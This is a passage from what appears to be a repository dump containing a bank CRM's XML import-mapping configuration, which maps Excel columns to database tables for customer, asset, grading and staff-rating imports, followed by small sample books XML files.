columnIndex=\"3\"  fieldCode=\"ADD_SERVICE_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"增值服务标识\"  columnIndex=\"4\"  fieldCode=\"ADD_SERVICE_IDENTIFY\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"适用范围\"  columnIndex=\"5\"  fieldCode=\"RANGE_APPLY\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"增值服务内容\"  columnIndex=\"6\"  fieldCode=\"SERVICE_CONTENT\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"200\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"备注\"  columnIndex=\"7\"  fieldCode=\"REMARK\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n   \t</trade>\n   \t\n    <!--贵宾卡增值服务享受记录导入-->\n    <trade tradeCode=\"importVipEnjoyServiceRecord\" tableName=\"OCRM_F_CI_VIPADDPARAM_TEMP\" valiClass=\"com.yuchengtech.bob.action.VipEnjoyServiceRecordImport\" sheetStartIndex=\"0\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t  <column name=\"编号\"  columnIndex=\"0\"  fieldCode=\"ID\"  isPK=\"true\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"客户号\"  columnIndex=\"1\"  fieldCode=\"CUST_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"客户名称\"  columnIndex=\"2\"  fieldCode=\"CUST_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"联盟商代码\"  columnIndex=\"3\"  fieldCode=\"ALIANCE_PROGRAM_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"联盟商名称\"  columnIndex=\"4\"  fieldCode=\"ALIANCE_PROGRAM_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"增值服务标识\"  columnIndex=\"5\"  fieldCode=\"ADD_SERVICE_IDENTIFY\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"增值服务内容\"  columnIndex=\"6\"  fieldCode=\"SERVICE_CONTENT\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"200\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"享受服务日期\"  columnIndex=\"7\"  fieldCode=\"ENJOY_SERVICE_DATE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n   \t</trade>\n   \t\n    <!--潜在客户导入-->\n\t   <!--潜在客户导入-->\n\t<trade tradeCode=\"importLantentCustInfo\" tableName=\"ACRM_F_CI_CUSTOMER_TEMP\" valiClass=\"com.yuchengtech.crm.customer.action.LantentCustomerImport\" sheetStartIndex=\"1\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t    <column name=\"序号\" columnIndex=\"0\" fieldCode=\"CUST_ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"27\" precial=\"\" isNull=\"false\"></column>\n        <column name=\"客户名称\"  columnIndex=\"1\"  fieldCode=\"CUST_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"客户类别\"  columnIndex=\"2\"  fieldCode=\"CUST_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"证件类型\"  columnIndex=\"3\"  fieldCode=\"IDENT_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"证件号码\"  columnIndex=\"4\"  fieldCode=\"IDENT_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"联系人\"  columnIndex=\"6\"  fieldCode=\"LINKMAN_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"联系手机\"  columnIndex=\"9\"  fieldCode=\"LINKMAN_TEL\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n<!--         <column name=\"座机号\"  columnIndex=\"6\"  fieldCode=\"TELEPHONE_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column> -->\n<!--         <column name=\"联系地址\"  columnIndex=\"7\"  fieldCode=\"COMMU_ADDR\"  isPK=\"false\"   type=\"VARCHAR2\"   length=\"200\"   precial=\"\"   isNull=\"true\"></column> -->\n<!--         <column name=\"电话区域\"  columnIndex=\"8\"  fieldCode=\"PHONE_AREA\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column> -->\n<!--         <column name=\"邮编号码\"  columnIndex=\"10\"  fieldCode=\"PORT_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column> -->\n \t\t<column name=\"其他名称\"  columnIndex=\"11\"  fieldCode=\"SHORT_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n  \t\t<column name=\"英文名称\"  columnIndex=\"12\"  fieldCode=\"EN_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n  \t\t<column name=\"客户来源渠道\"  columnIndex=\"13\"  fieldCode=\"SOURCE_CHANNEL\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \n    <!--贵金属AUM导入-->\n\t<trade tradeCode=\"nobelMetalImportInfo\" tableName=\"A_AC_CUST_ASSET_AUM_INPUT_TMP\" valiClass=\"com.yuchengtech.bob.action.NobelMetalImport\" sheetStartIndex=\"0\" creatorColumn=\"INPUT_USER\" creatOrgColumn=\"\" creatDateColumn=\"INPUT_DATE\">\n        <column name=\"客户号\"  columnIndex=\"0\"  fieldCode=\"CUST_ID\"  isPK=\"false\"  type=\"VARCHAR\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"AUM\"  columnIndex=\"1\"  fieldCode=\"AUM\"  isPK=\"false\"  type=\"NUMBER\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"数据日期\"  columnIndex=\"2\"  fieldCode=\"DATA_DATE\"  isPK=\"false\"  type=\"DATE\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \n   <!--保险中间业务导入-->\n\t<trade tradeCode=\"insuranceImportInfo\" tableName=\"A_AC_CUST_BAOX_INPUT_TMP\" valiClass=\"com.yuchengtech.bob.action.InsuranceImport\" sheetStartIndex=\"0\" creatorColumn=\"INPUT_USER\" creatOrgColumn=\"\" creatDateColumn=\"INPUT_DATE\">\n        <column name=\"客户号\"  columnIndex=\"0\"  fieldCode=\"CUST_ID\"  isPK=\"false\"  type=\"VARCHAR\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"趸缴或期缴金额\"  columnIndex=\"1\"  fieldCode=\"BAOX_AMT\"  isPK=\"false\"  type=\"NUMBER\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"数据日期\"  columnIndex=\"2\"  fieldCode=\"DATA_DATE\"  isPK=\"false\"  type=\"DATE\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \n   \n   <!--小微评级客户月均销售额导入-->\n\t<trade tradeCode=\"salesVolumeOfSmallImportInfo\" tableName=\"A_AC_CUST_MCR_SAL_INPUT_TMP\" valiClass=\"com.yuchengtech.bob.action.SalesVolumeOfSmallImportImport\" sheetStartIndex=\"0\" creatorColumn=\"INPUT_USER\" creatOrgColumn=\"\" creatDateColumn=\"INPUT_DATE\">\n        <column name=\"客户号\"  columnIndex=\"0\"  fieldCode=\"CUST_ID\"  isPK=\"false\"  type=\"VARCHAR\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"销售额\"  columnIndex=\"1\"  fieldCode=\"TRAD_AMT\"  isPK=\"false\"  type=\"NUMBER\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"数据日期\"  columnIndex=\"2\"  fieldCode=\"DATA_DATE\"  isPK=\"false\"  type=\"DATE\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \n   <!--客户群管理黑名单客户导入-->\n\t<trade tradeCode=\"importBlacklistCustInfo\" tableName=\"ACRM_F_CI_CUSTOMER_TEMP\" valiClass=\"com.yuchengtech.bob.action.BlacklistCustImport\" sheetStartIndex=\"1\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t    <column name=\"客户号\" columnIndex=\"0\" fieldCode=\"CUST_ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"27\" precial=\"\" isNull=\"false\"></column>\n        <column name=\"客户名称\"  columnIndex=\"1\"  fieldCode=\"CUST_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"证件类型\"  columnIndex=\"2\"  fieldCode=\"IDENT_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"证件号码\"  columnIndex=\"3\"  fieldCode=\"IDENT_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"客户类别\"  columnIndex=\"4\"  fieldCode=\"CUST_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \n   \n   <!--个金目标值导入-->\n     <trade tradeCode=\"importReportCfgNewInfo\" tableName=\"ACRM_M_TARGET_VAL_TEMP\" valiClass=\"com.yuchengtech.bob.action.ReportCfgNewImport\" sheetStartIndex=\"1\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n        <column name=\"编号\" columnIndex=\"0\" fieldCode=\"ORDER_ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"20\" precial=\"\" isNull=\"false\"></column>\n        <column name=\"报表编号\" columnIndex=\"1\" fieldCode=\"REPORT_ID\" isPK=\"false\" type=\"VARCHAR2\" length=\"20\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"报表名称\"  columnIndex=\"2\"  fieldCode=\"REPORT_NA\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"上级机构ID\"  columnIndex=\"3\"  fieldCode=\"ORG_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"上级机构名称\"  columnIndex=\"4\"  fieldCode=\"ORG_NA\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"机构ID\"  columnIndex=\"5\"  fieldCode=\"BRANCH_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"机构名称\"  columnIndex=\"6\"  fieldCode=\"BRANCH_NA\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"指标名称\"  columnIndex=\"7\"  fieldCode=\"STAT_NA\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"指标ID\"  columnIndex=\"8\"  fieldCode=\"STAT_ID\"  isPK=\"false\"   type=\"VARCHAR2\"   length=\"20\"   precial=\"\"   isNull=\"true\"></column>\n        <column name=\"项目\"  columnIndex=\"9\"  fieldCode=\"PROJECT\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"目标值\" columnIndex=\"10\" fieldCode=\"INDEX_VAL\" isPK=\"false\" type=\"NUMBER\" length=\"20\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"最后更新日期\"  columnIndex=\"11\"  fieldCode=\"UPDATETIME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n     </trade>\n     \n     <!-- 客户分配导入信息 -->\n     <trade tradeCode=\"importCustBelong\" tableName=\"ACRM_F_CI_BELONG_IMP\" valiClass=\"com.yuchengtech.bcrm.customer.belong.action.CustBelongImport\" sheetStartIndex=\"1\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n        <column name=\"编号\" columnIndex=\"0\" fieldCode=\"ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"20\" precial=\"\" isNull=\"false\"></column>\n        <column name=\"客户号\" columnIndex=\"1\" fieldCode=\"CUST_ID\" isPK=\"false\" type=\"VARCHAR2\" length=\"20\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"客户名称\"  columnIndex=\"2\"  fieldCode=\"CUST_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"80\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"机构主协办类型\"  columnIndex=\"3\"  fieldCode=\"ORG_MAIN_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"机构ID\"  columnIndex=\"4\"  fieldCode=\"ORG_CODE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"机构名称\"  columnIndex=\"5\"  fieldCode=\"ORG_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"80\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"客户经理主协办类型\"  columnIndex=\"6\"  fieldCode=\"MGR_MAIN_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"客户经理ID\"  columnIndex=\"7\"  fieldCode=\"MGR_ID\"  isPK=\"false\"   type=\"VARCHAR2\"   length=\"20\"   precial=\"\"   isNull=\"true\"></column>\n        <column name=\"客户经理名称\"  columnIndex=\"8\"  fieldCode=\"MGR_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"80\"  precial=\"\"  isNull=\"true\"></column>\n     </trade>\n     <!-- 公司评级 importCompanyGrade -->\n     <trade tradeCode=\"importCompanyGrade\" tableName=\"ACRM_F_CI_OGRADE_RESULT_TEMP\" valiClass=\"com.yuchengtech.bcrm.custmanager.action.CustGradeCompanyImport\" sheetStartIndex=\"1\" creatorColumn=\"IMPORT_USER\" creatOrgColumn=\"\" creatDateColumn=\"IMPORT_DATE\">\n   \t  \t<column  name=\"客户号\"    columnIndex=\"0\"  fieldCode=\"CUST_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"客户名称\"   columnIndex=\"1\"  fieldCode=\"CUST_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n\t   \t<column  name=\"客户等级ID\"    columnIndex=\"2\"  fieldCode=\"CUST_GRADE_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"客户等级类型\"    columnIndex=\"3\"  fieldCode=\"CUST_GRADE_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n       \t<column  name=\"本期客户等级\"    columnIndex=\"4\"  fieldCode=\"CUST_GRADE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"是否本月新增\"    columnIndex=\"5\"  fieldCode=\"IS_MONTH_ADD\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"2\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"净利润\"    columnIndex=\"6\"  fieldCode=\"RETAIN_PROFIT\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column  name=\"营业净收入\"    columnIndex=\"7\"  fieldCode=\"IN_BUSI_RETAIN_PROFIT\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column  name=\"营业外净收入\"    columnIndex=\"8\"  fieldCode=\"OUT_BUSI_RETAIN_PROFIT\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column  name=\"所得税\"    columnIndex=\"9\"  fieldCode=\"INCOME_TAX\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\" precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"贷款减值准备\"    columnIndex=\"10\"  fieldCode=\"LOAN_IMPAIRMENT\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"60\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"EVA\"    columnIndex=\"11\"  fieldCode=\"EVA\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"经济资本占用\"    columnIndex=\"12\"  fieldCode=\"FINA_ASSET_EMPLOY\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"业务规模\"    columnIndex=\"13\"  fieldCode=\"BUSI_SCALE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"存款年日均\"    columnIndex=\"14\"  fieldCode=\"DEP_YDAY_AVG\"  isPK=\"false\" type=\"NUMBER\" length=\"20\" precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"贷款年日均\"    columnIndex=\"15\"  fieldCode=\"LOAN_YDAY_AVG\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"贷款年收息\"    columnIndex=\"16\"  fieldCode=\"LOAN_YDAY_INTEREST\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"存贷比\"    columnIndex=\"17\"  fieldCode=\"DEP_LOAN_PROP\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column  name=\"存款加权季末余额\"    columnIndex=\"18\"  fieldCode=\"DEP_WEIGHT_ENDS_BAL\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\" precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"外汇收支\"    columnIndex=\"19\"  fieldCode=\"FOREIGN_EXCHANGE\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"评级RAROC\"    columnIndex=\"20\"  fieldCode=\"EVALUATE_RAROC\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"RAROC(贴现)\"    columnIndex=\"21\"  fieldCode=\"RAROC_DISCOUNT\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"RAROC(贸易融资)\"    columnIndex=\"22\"  fieldCode=\"RAROC_TRADE_FINA\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"净利润等级结果\"    columnIndex=\"23\"  fieldCode=\"RETAIN_PROFIT_GRADE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"2\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"评级RAROC等级结果\"    columnIndex=\"24\"  fieldCode=\"EVALUATE_RAROC_GRADE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"2\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"业务规模等级结果\"    columnIndex=\"25\"  fieldCode=\"BUSI_SCALE_GRADE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"2\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \n   \n   <!--客户经理培训信息批量导入-->\n   <trade tradeCode=\"mgrCourseBatchImport\" tableName=\"OCRM_F_CM_CUST_MGR_COURSE_TEMP\" valiClass=\"com.yuchengtech.bob.action.CustManagerCourseImport\" sheetStartIndex=\"0\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n      <column name=\"ID\" columnIndex=\"0\" fieldCode=\"ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"32\" precial=\"\" isNull=\"false\"></column>\n      <column name=\"客户经理工号\"  columnIndex=\"1\"  fieldCode=\"MGR_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"客户经理名称\"  columnIndex=\"2\"  fieldCode=\"MGR_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"课程名称\"  columnIndex=\"3\"  fieldCode=\"COURSE_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"培训日期\"  columnIndex=\"4\"  fieldCode=\"COURSE_DATE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"课堂表现\"  columnIndex=\"5\"  fieldCode=\"PERFORMANCE_SCORE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"考核成绩\"  columnIndex=\"6\"  fieldCode=\"EXAMINE_SCORE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"加分项\"  columnIndex=\"7\"  fieldCode=\"BONUS_SCORE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"培训心得\"  columnIndex=\"8\"  fieldCode=\"THOUGHT_SCORE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \t\n   <!--客户经理等级批量导入-->\n   <trade tradeCode=\"mgrClassBatchImport\" tableName=\"OCRM_F_CM_CUST_MGR_CLASS_TEMP\" valiClass=\"com.yuchengtech.crm.customer.action.CustManagerClassImport\" sheetStartIndex=\"0\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t  <column name=\"ID\" columnIndex=\"0\" fieldCode=\"ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"32\" precial=\"\" isNull=\"false\"></column>\n   \t \t <column name=\"客户经理工号\"  columnIndex=\"1\"  fieldCode=\"MGR_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n   <!-- \t  <column name=\"客户经理名称\"  columnIndex=\"1\"  fieldCode=\"MGR_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>-->\n   \t  <column name=\"等级\"  columnIndex=\"2\"  fieldCode=\"MGR_CLASS\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   \t<!--   <column name=\"有效期\"  columnIndex=\"4\"  fieldCode=\"EFFECT_DATE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>  --> \n   </trade>\n   \n      <!--客户经理评级信息导入-->\n   <trade tradeCode=\"mgrGradeInfoImport\" tableName=\"ACRM_MGR_CPN_DATA_IMP_TEMP\" valiClass=\"com.yuchengtech.bob.action.MgrGradeInfoImport\" sheetStartIndex=\"0\" creatorColumn=\"IMPORT_USER\" creatOrgColumn=\"\" creatDateColumn=\"IMPORT_DATE\">\n   \t  <column name=\"客户经理工号\"  columnIndex=\"0\"  fieldCode=\"MGR_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"客户经理名称\"  columnIndex=\"1\"  fieldCode=\"MGR_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"年度考核结果\"    columnIndex=\"2\"  fieldCode=\"DNKHJG\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"品德合规状况\"    columnIndex=\"3\"  fieldCode=\"DDHGZK\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"公关营销能力\"    columnIndex=\"4\"  fieldCode=\"GGYXNL\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"其它调整项1\"    columnIndex=\"5\"  fieldCode=\"QTTZX1\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"营销竞赛排名\"    columnIndex=\"6\"  fieldCode=\"YXJSNL\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"新产品创新及推广\"    columnIndex=\"7\"  fieldCode=\"XCPTG\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"信贷工作能力\"    columnIndex=\"8\"  fieldCode=\"XDGZNL\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"其他调整项2\"    columnIndex=\"9\"  fieldCode=\"QTTZX2\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"培训表现加分\"    columnIndex=\"10\"  fieldCode=\"PXBX_ADD\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"规范化服务\"    columnIndex=\"11\"  fieldCode=\"GFHFW_ADD\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"交叉持证资格\"    columnIndex=\"12\"  fieldCode=\"JCCZZG\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"其他项目加分\"    columnIndex=\"13\"  fieldCode=\"QTXM\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n       <column  name=\"贷后管理工作\"    columnIndex=\"14\"  fieldCode=\"DHGLGZ\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"培训表现扣分\"    columnIndex=\"15\"  fieldCode=\"PXBX_CUT\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"规范化服务扣分\"    columnIndex=\"16\"  fieldCode=\"GFHFW_CUT\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"信贷从业资格/银行从业资格扣分\"    columnIndex=\"17\"  fieldCode=\"XDCYZG\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n\n\t\n     \n</root>"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/resources/books.dom4j.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<books>\n\t<book id=\"b001\">\n\t\t<title>Java 核心技术</title>\n\t \t<price>98000</price>\n\t</book>\n\t<book id=\"b002\">\n\t\t<title>Thinking in Java</title>\n\t \t<price>22000</price>\n\t</book>\n<book id=\"0001\"><title>aaaaaaaaa</title><name>abc</name></book> </books>"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/resources/books.jasp.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?><books>\n\t<book id=\"b001\">\n\t\t<title>Java 核心技术</title>\n\t \t<price>98000</price>\n\t</book>\n\t<book id=\"b002\">\n\t\t<title>Thinking in Java</title>\n\t \t<price>22000</price>\n\t</book>\n<book id=\"b003\"><title>凤姐写真</title></book></books>"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/resources/books.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<books>\n\t<book id=\"b001\">\n\t\t<title>Java 核心技术</title>\n\t \t<price>98000</price>\n\t</book>\n\t<book id=\"b002\">\n\t\t<title>Thinking in Java</title>\n\t \t<price>22000</price>\n\t</book>\n</books>"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/resources/constructor-params.xml",
